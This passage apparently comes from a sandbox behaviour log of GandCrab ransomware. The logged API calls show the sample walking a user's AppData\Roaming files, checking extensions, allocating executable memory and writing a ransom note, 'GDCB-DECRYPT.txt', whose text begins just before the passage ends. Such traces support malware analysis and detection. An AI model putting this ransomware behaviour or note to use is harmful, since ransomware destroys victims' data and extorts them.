lpFindFileData=0x285f030) returned 1 [0053.060] lstrcmpW (lpString1="6ttfnwVzD3wR1.wav", lpString2=".") returned 1 [0053.060] lstrcmpW (lpString1="6ttfnwVzD3wR1.wav", lpString2="..") returned 1 [0053.060] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="6ttfnwVzD3wR1.wav" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\6ttfnwVzD3wR1.wav") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\6ttfnwVzD3wR1.wav" [0053.060] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\6ttfnwVzD3wR1.wav") returned 55 [0053.060] lstrcmpW (lpString1=".wav", lpString2=".sql") returned 1 [0053.060] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.060] lstrcmpW (lpString1="8MU6pxFxklXwXFC.m4a", lpString2=".") returned 1 [0053.060] lstrcmpW (lpString1="8MU6pxFxklXwXFC.m4a", lpString2="..") returned 1 [0053.060] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="8MU6pxFxklXwXFC.m4a" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8MU6pxFxklXwXFC.m4a") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8MU6pxFxklXwXFC.m4a" [0053.060] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8MU6pxFxklXwXFC.m4a") returned 57 [0053.060] lstrcmpW (lpString1=".m4a", lpString2=".sql") returned -1 [0053.060] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.060] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0053.060] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0053.060] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Adobe" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe" [0053.060] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe") returned 43 [0053.060] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.060] lstrcmpW (lpString1="CztjLRmT.bmp", lpString2=".") returned 1 [0053.060] lstrcmpW (lpString1="CztjLRmT.bmp", lpString2="..") returned 1 [0053.060] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="CztjLRmT.bmp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CztjLRmT.bmp") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CztjLRmT.bmp" [0053.060] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CztjLRmT.bmp") returned 50 [0053.060] lstrcmpW (lpString1=".bmp", lpString2=".sql") returned -1 [0053.060] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.060] lstrcmpW (lpString1="ExocxBlrLmuRHv.gif", lpString2=".") returned 1 [0053.060] lstrcmpW (lpString1="ExocxBlrLmuRHv.gif", lpString2="..") returned 1 [0053.060] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="ExocxBlrLmuRHv.gif" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ExocxBlrLmuRHv.gif") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ExocxBlrLmuRHv.gif" [0053.060] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ExocxBlrLmuRHv.gif") returned 56 [0053.060] lstrcmpW (lpString1=".gif", lpString2=".sql") returned -1 [0053.060] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.060] lstrcmpW (lpString1="FCmH0Q4.bmp", lpString2=".") returned 1 [0053.060] lstrcmpW (lpString1="FCmH0Q4.bmp", lpString2="..") returned 1 [0053.060] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="FCmH0Q4.bmp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\FCmH0Q4.bmp") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\FCmH0Q4.bmp" [0053.060] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\FCmH0Q4.bmp") returned 49 [0053.060] lstrcmpW (lpString1=".bmp", lpString2=".sql") returned -1 [0053.060] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.060] lstrcmpW (lpString1="Identities", lpString2=".") returned 1 [0053.060] lstrcmpW (lpString1="Identities", lpString2="..") returned 1 [0053.060] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Identities" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities" [0053.060] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities") returned 48 [0053.060] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.060] lstrcmpW (lpString1="imbMbOER.ppt", lpString2=".") returned 1 [0053.060] lstrcmpW (lpString1="imbMbOER.ppt", lpString2="..") returned 1 [0053.060] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="imbMbOER.ppt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\imbMbOER.ppt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\imbMbOER.ppt" [0053.060] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\imbMbOER.ppt") returned 50 [0053.060] lstrcmpW (lpString1=".ppt", lpString2=".sql") returned -1 [0053.060] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.060] lstrcmpW (lpString1="ixwxy.png", lpString2=".") returned 1 [0053.060] lstrcmpW (lpString1="ixwxy.png", lpString2="..") returned 1 [0053.060] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="ixwxy.png" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ixwxy.png") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ixwxy.png" [0053.061] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ixwxy.png") returned 47 [0053.061] lstrcmpW (lpString1=".png", lpString2=".sql") returned -1 [0053.061] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.061] lstrcmpW (lpString1="jxoh-EFt2nW-t9X.wav", lpString2=".") returned 1 [0053.061] lstrcmpW (lpString1="jxoh-EFt2nW-t9X.wav", lpString2="..") returned 1 [0053.061] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="jxoh-EFt2nW-t9X.wav" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\jxoh-EFt2nW-t9X.wav") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\jxoh-EFt2nW-t9X.wav" [0053.061] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\jxoh-EFt2nW-t9X.wav") returned 57 [0053.061] lstrcmpW (lpString1=".wav", lpString2=".sql") returned 1 [0053.061] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.061] lstrcmpW (lpString1="ldeazaydq H9.jpg", lpString2=".") returned 1 [0053.061] lstrcmpW (lpString1="ldeazaydq H9.jpg", lpString2="..") returned 1 [0053.061] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="ldeazaydq H9.jpg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ldeazaydq H9.jpg") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ldeazaydq H9.jpg" [0053.061] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ldeazaydq H9.jpg") returned 54 [0053.061] lstrcmpW (lpString1=".jpg", lpString2=".sql") returned -1 [0053.061] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.061] lstrcmpW (lpString1="LSI0fbp1d3.flv", lpString2=".") returned 1 [0053.061] lstrcmpW (lpString1="LSI0fbp1d3.flv", lpString2="..") returned 1 [0053.061] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="LSI0fbp1d3.flv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LSI0fbp1d3.flv") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LSI0fbp1d3.flv" [0053.061] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LSI0fbp1d3.flv") returned 52 [0053.061] lstrcmpW (lpString1=".flv", lpString2=".sql") returned -1 [0053.061] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.061] lstrcmpW (lpString1="lxRXkBM2nNswBBWWBk42.mp4", lpString2=".") returned 1 [0053.061] lstrcmpW (lpString1="lxRXkBM2nNswBBWWBk42.mp4", lpString2="..") returned 1 [0053.061] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="lxRXkBM2nNswBBWWBk42.mp4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\lxRXkBM2nNswBBWWBk42.mp4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\lxRXkBM2nNswBBWWBk42.mp4" [0053.061] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\lxRXkBM2nNswBBWWBk42.mp4") returned 62 [0053.061] lstrcmpW (lpString1=".mp4", lpString2=".sql") returned -1 [0053.061] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.061] lstrcmpW (lpString1="Macromedia", lpString2=".") returned 1 [0053.061] lstrcmpW (lpString1="Macromedia", lpString2="..") returned 1 [0053.061] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Macromedia" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia" [0053.061] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia") returned 48 [0053.061] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.061] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0053.061] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0053.061] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0053.061] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned 47 [0053.061] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.061] lstrcmpW (lpString1="mj7J-R46l5.pptx", lpString2=".") returned 1 [0053.061] lstrcmpW (lpString1="mj7J-R46l5.pptx", lpString2="..") returned 1 [0053.061] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="mj7J-R46l5.pptx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\mj7J-R46l5.pptx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\mj7J-R46l5.pptx" [0053.061] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\mj7J-R46l5.pptx") returned 53 [0053.061] lstrcmpW (lpString1=".pptx", lpString2=".sql") returned -1 [0053.061] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.061] lstrcmpW (lpString1="MlDkkPrkrB.mkv", lpString2=".") returned 1 [0053.061] lstrcmpW (lpString1="MlDkkPrkrB.mkv", lpString2="..") returned 1 [0053.061] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="MlDkkPrkrB.mkv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MlDkkPrkrB.mkv") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MlDkkPrkrB.mkv" [0053.061] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MlDkkPrkrB.mkv") returned 52 [0053.061] lstrcmpW (lpString1=".mkv", lpString2=".sql") returned -1 [0053.061] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.061] lstrcmpW (lpString1="MMSANU.wav", lpString2=".") returned 1 [0053.061] lstrcmpW (lpString1="MMSANU.wav", lpString2="..") returned 1 [0053.061] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="MMSANU.wav" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MMSANU.wav") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MMSANU.wav" [0053.061] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MMSANU.wav") returned 48 [0053.061] lstrcmpW (lpString1=".wav", lpString2=".sql") returned 1 [0053.061] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.061] lstrcmpW (lpString1="Mozilla", lpString2=".") returned 1 [0053.061] lstrcmpW (lpString1="Mozilla", lpString2="..") returned 1 [0053.061] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Mozilla" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla" [0053.061] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla") returned 45 [0053.062] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.062] lstrcmpW (lpString1="PP7PZiVZnjg.gif", lpString2=".") returned 1 [0053.062] lstrcmpW (lpString1="PP7PZiVZnjg.gif", lpString2="..") returned 1 [0053.062] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="PP7PZiVZnjg.gif" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\PP7PZiVZnjg.gif") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\PP7PZiVZnjg.gif" [0053.062] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\PP7PZiVZnjg.gif") returned 53 [0053.062] lstrcmpW (lpString1=".gif", lpString2=".sql") returned -1 [0053.062] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.062] lstrcmpW (lpString1="py_6.pdf", lpString2=".") returned 1 [0053.062] lstrcmpW (lpString1="py_6.pdf", lpString2="..") returned 1 [0053.062] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="py_6.pdf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\py_6.pdf") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\py_6.pdf" [0053.062] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\py_6.pdf") returned 46 [0053.062] lstrcmpW (lpString1=".pdf", lpString2=".sql") returned -1 [0053.062] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.062] lstrcmpW (lpString1="QvlruVqbW5.mp3", lpString2=".") returned 1 [0053.062] lstrcmpW (lpString1="QvlruVqbW5.mp3", lpString2="..") returned 1 [0053.062] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="QvlruVqbW5.mp3" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\QvlruVqbW5.mp3") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\QvlruVqbW5.mp3" [0053.062] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\QvlruVqbW5.mp3") returned 52 [0053.062] lstrcmpW (lpString1=".mp3", lpString2=".sql") returned -1 [0053.062] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.062] lstrcmpW (lpString1="rDJeorfWLmIUKr-wJ-G.mp3", lpString2=".") returned 1 [0053.062] lstrcmpW (lpString1="rDJeorfWLmIUKr-wJ-G.mp3", lpString2="..") returned 1 [0053.062] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="rDJeorfWLmIUKr-wJ-G.mp3" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\rDJeorfWLmIUKr-wJ-G.mp3") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\rDJeorfWLmIUKr-wJ-G.mp3" [0053.062] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\rDJeorfWLmIUKr-wJ-G.mp3") returned 61 [0053.062] lstrcmpW (lpString1=".mp3", lpString2=".sql") returned -1 [0053.062] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.062] lstrcmpW (lpString1="s-oOZLE.avi", lpString2=".") returned 1 [0053.062] lstrcmpW (lpString1="s-oOZLE.avi", lpString2="..") returned 1 [0053.062] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="s-oOZLE.avi" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\s-oOZLE.avi") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\s-oOZLE.avi" [0053.062] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\s-oOZLE.avi") returned 49 [0053.062] lstrcmpW (lpString1=".avi", lpString2=".sql") returned -1 [0053.062] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.062] lstrcmpW (lpString1="sao0lzDqm lb1JO.bmp", lpString2=".") returned 1 [0053.062] lstrcmpW (lpString1="sao0lzDqm lb1JO.bmp", lpString2="..") returned 1 [0053.062] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="sao0lzDqm lb1JO.bmp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\sao0lzDqm lb1JO.bmp") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\sao0lzDqm lb1JO.bmp" [0053.062] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\sao0lzDqm lb1JO.bmp") returned 57 [0053.062] lstrcmpW (lpString1=".bmp", lpString2=".sql") returned -1 [0053.062] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.062] lstrcmpW (lpString1="Skype", lpString2=".") returned 1 [0053.062] lstrcmpW (lpString1="Skype", lpString2="..") returned 1 [0053.062] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Skype" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype" [0053.062] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype") returned 43 [0053.062] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.062] lstrcmpW (lpString1="srk1.flv", lpString2=".") returned 1 [0053.062] lstrcmpW (lpString1="srk1.flv", lpString2="..") returned 1 [0053.062] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="srk1.flv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\srk1.flv") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\srk1.flv" [0053.062] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\srk1.flv") returned 46 [0053.062] lstrcmpW (lpString1=".flv", lpString2=".sql") returned -1 [0053.062] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.062] lstrcmpW (lpString1="Sun", lpString2=".") returned 1 [0053.062] lstrcmpW (lpString1="Sun", lpString2="..") returned 1 [0053.062] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Sun" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun" [0053.062] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun") returned 41 [0053.062] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.062] lstrcmpW (lpString1="UFabmkAU-rJObGOdjy23.swf", lpString2=".") returned 1 [0053.062] lstrcmpW (lpString1="UFabmkAU-rJObGOdjy23.swf", lpString2="..") returned 1 [0053.062] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="UFabmkAU-rJObGOdjy23.swf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\UFabmkAU-rJObGOdjy23.swf") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\UFabmkAU-rJObGOdjy23.swf" [0053.062] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\UFabmkAU-rJObGOdjy23.swf") returned 62 [0053.062] lstrcmpW (lpString1=".swf", lpString2=".sql") returned 1 [0053.062] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.063] lstrcmpW (lpString1="XDfXtYW.m4a", lpString2=".") returned 1 [0053.063] lstrcmpW (lpString1="XDfXtYW.m4a", lpString2="..") returned 1 [0053.063] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="XDfXtYW.m4a" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\XDfXtYW.m4a") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\XDfXtYW.m4a" [0053.063] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\XDfXtYW.m4a") returned 49 [0053.063] lstrcmpW (lpString1=".m4a", lpString2=".sql") returned -1 [0053.063] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.063] lstrcmpW (lpString1="xX9L.avi", lpString2=".") returned 1 [0053.063] lstrcmpW (lpString1="xX9L.avi", lpString2="..") returned 1 [0053.063] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="xX9L.avi" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\xX9L.avi") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\xX9L.avi" [0053.063] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\xX9L.avi") returned 46 [0053.063] lstrcmpW (lpString1=".avi", lpString2=".sql") returned -1 [0053.063] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.063] lstrcmpW (lpString1="X_3ykeU9F6OZxw.swf", lpString2=".") returned 1 [0053.063] lstrcmpW (lpString1="X_3ykeU9F6OZxw.swf", lpString2="..") returned 1 [0053.063] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="X_3ykeU9F6OZxw.swf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\X_3ykeU9F6OZxw.swf") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\X_3ykeU9F6OZxw.swf" [0053.063] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\X_3ykeU9F6OZxw.swf") returned 56 [0053.063] lstrcmpW (lpString1=".swf", lpString2=".sql") returned 1 [0053.063] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.063] lstrcmpW (lpString1="yzRhhBR e0eN.wav", lpString2=".") returned 1 [0053.063] lstrcmpW (lpString1="yzRhhBR e0eN.wav", lpString2="..") returned 1 [0053.063] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="yzRhhBR e0eN.wav" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\yzRhhBR e0eN.wav") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\yzRhhBR e0eN.wav" [0053.063] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\yzRhhBR e0eN.wav") returned 54 [0053.063] lstrcmpW (lpString1=".wav", lpString2=".sql") returned 1 [0053.063] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.063] lstrcmpW (lpString1="z5f8F.pdf", lpString2=".") returned 1 [0053.063] lstrcmpW (lpString1="z5f8F.pdf", lpString2="..") returned 1 [0053.063] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="z5f8F.pdf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\z5f8F.pdf") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\z5f8F.pdf" [0053.063] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\z5f8F.pdf") returned 47 [0053.063] lstrcmpW (lpString1=".pdf", lpString2=".sql") returned -1 [0053.063] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 0 [0053.063] FindClose (in: hFindFile=0x588aa0 | out: hFindFile=0x588aa0) returned 1 [0053.063] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.064] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\\\GDCB-DECRYPT.txt") returned 55 [0053.064] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0053.065] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and 